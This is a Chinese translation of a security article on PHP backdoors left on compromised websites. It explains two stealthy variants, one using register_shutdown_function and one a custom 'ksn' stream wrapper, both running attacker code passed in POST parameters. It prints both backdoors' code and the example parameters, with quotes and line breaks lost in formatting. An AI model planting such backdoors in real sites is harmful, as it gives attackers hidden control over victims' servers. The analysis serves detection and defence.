通過非常規手段添加PHP後門
原文
作者:DENIS SINEGUBKO
根據我們最新的報告,百分之七十二的被入侵網站都含有後門。後門是攻擊者為了保持控制權而在站點留下的特殊文件。必要的時候,攻擊者會利用它再次感染該站點。
我們偶然發現了一些不需要使用PHP常見函數(比如:eval,create_function,preg_replace,assert,base64_decode)即可實現的後門。
這些罕見後門看上去就像普通代碼一樣,它們不需要常見的混淆方法(比如:加密字元串,大小寫混淆,字元串拼接)就可以讓攻擊者任意代碼執行。
在Shutdown函數中的後門
讓我們從簡單的看起。在 @package.win.error.Libraries ,並且有這樣一個函數:
function win() { register_shutdown_function($_POST[d](, $_POST[f]($_POST[c]))); }n
此處的 $_POST 參數看上去十分可疑,那麼這個代碼到底是不是後門呢?
register_shutdown_function 註冊了一個在此腳本運行完畢後的操作。這意味著無論這個代碼出現在哪一行,它只在執行完時才被調用。
這樣的話,腳本執行完後調用的函數便是:
$_POST[d](, $_POST[f]($_POST[c]))n
這行代碼看上去如同加密一般。如果你不清楚黑客能用它幹什麼,讓我們來想想黑客代入如下參數執行後會怎麼樣:
d=create_functionnf=base64_decodenc=some_base64_encoded_malicious_PHP_coden
於是,便會這樣:
create_function(, base64_decode(some_base64_encoded_malicious_PHP_code))n
現在便是一個正常的後門了。這個代碼不需要被直接調用,因為shutdown函數會自動執行它。
在Stream Wrapper中的後門
之前的只是熱身罷了,現在我們來看看更複雜的。
這次我們用 @package Stream.ksn.Libraries。我們不難推導出這裡有個Stream類並和一個創建ksn協議流包裝器的函數。
class Stream { n function stream_open($path, $mode, $options, &$opened_path)n { $url = parse_url($path);n $f = $_POST[d](, $url["host"]); n $f(); n return true;n } n}nstream_wrapper_register("ksn", "Stream");n// Register connect the library Streamn$fp = fopen(ksn://.$_POST[f]($_POST[c]), );n
我們來用幾個小節分析這個代碼
代碼貌似人畜無害
對於一些開發者來講,這個代碼看上去像是那些第三方寫的內容管理插件代碼。
我們還不清楚它的具體作用,但是有些站長可能會默認它是合法代碼。他們可能會通過其中的一小段來推測:是不是和ksn流相關呢?ksn又是什麼呢?不管了,應該有用吧。
等等!我們在代碼中看到了POST。因為攻擊者總是可以操控它,因此對POST保持警惕。然而,我們不清楚POST具體的作用。
探索與發現
你玩過那些文字解密的遊戲嗎?這和我們做的十分相似。
我們先從 stream_open 分析:
$f = $_POST[d](, $url["host"]);n
當POST參數被用做函數名時,這引起了我們的關注。看上去 $_POST[d] 作用像之前的create_function。如果這樣的話,$url[host]應該是可執行代碼,但是一個經過 parse_url處理的函數應該包含不了代碼吧?不過。。。
模糊化域名格式
讓我們看看傳進 stream_open 的 $path —— 它包括了一個被 parse_url 解析過後的 URL,我們首先分析一下下列代碼:
stream_wrapper_register("ksn", Stream);n
這個函數將關聯 ksn協議和Stream類。Stream類繼承了streamWrapper的屬性,也就是說wrapper 初始化完成時,stream_open會被直接調用。(比方說 fopen 該協議時)
stream_open應該是像如下一樣被聲明。其中,$path是被傳遞到fopen的URL
public bool streamWrapper::stream_open ( string $path , string $mode , int $options , string &$opened_path )n
我們可以用fopen來打開ksn://協議的url
$fp = fopen(ksn://.$_POST[f]($_POST[c]), );n
所以我們的path就是:
『ksn://』.$_POST[『f』]($_POST[『c』]),』n
這會構造一個可以讓主機執行惡意代碼的URL
那麼我們應該如何構建一個可以被當做合法PHP代碼執行的域名或者ip地址?
根據 RFC3986,我們並不需要構建合法的域名,因為parse_url不會檢查URL的合法性,它只負責解析。任何從 :// 開始,以 / 或 : 結尾的那一部分字元串(如果沒有的話,則是餘下的全部字元)都被視作主機名部分。
比方說,如果你把 ksn://eval(base64_decode($_POST[「code」])); 傳遞給 parse_url,主機部分便是 eval(base64_decode($_POST[「code」]));
就像之前那,我們此處可以理解:
f=base64_decodenc=some_base64_encoded_malicious_PHP_coden
然後就會執行這樣的fopen:
$fp = fopen(ksn://base64_decode(base64_encoded_malicious_PHP_code), );n
回過頭來看 stream_open,我們可以知道被傳入的URL
$f = $_POST[d](, $url["host"]);n
其實是:
$f = create_function(, base64_decode(base64_encoded_malicious_PHP_code));n
到了最後,$f 會被調用:
$f();n
簡單來說,這個後門就是打開 ksn:// 協議的 fopen 引起的,然而我們僅粗略地讀不會發現什麼異常
推薦閱讀:
※關於PHPDocument 代碼注釋規範的總結
※為什麼linux的內核用c不用c++呢?
※培神都開始學PHP了,你還在等什麼。
※我應該選擇前端,還是繼續搞PHP?
※從0開始學PHPExcel(1)之初探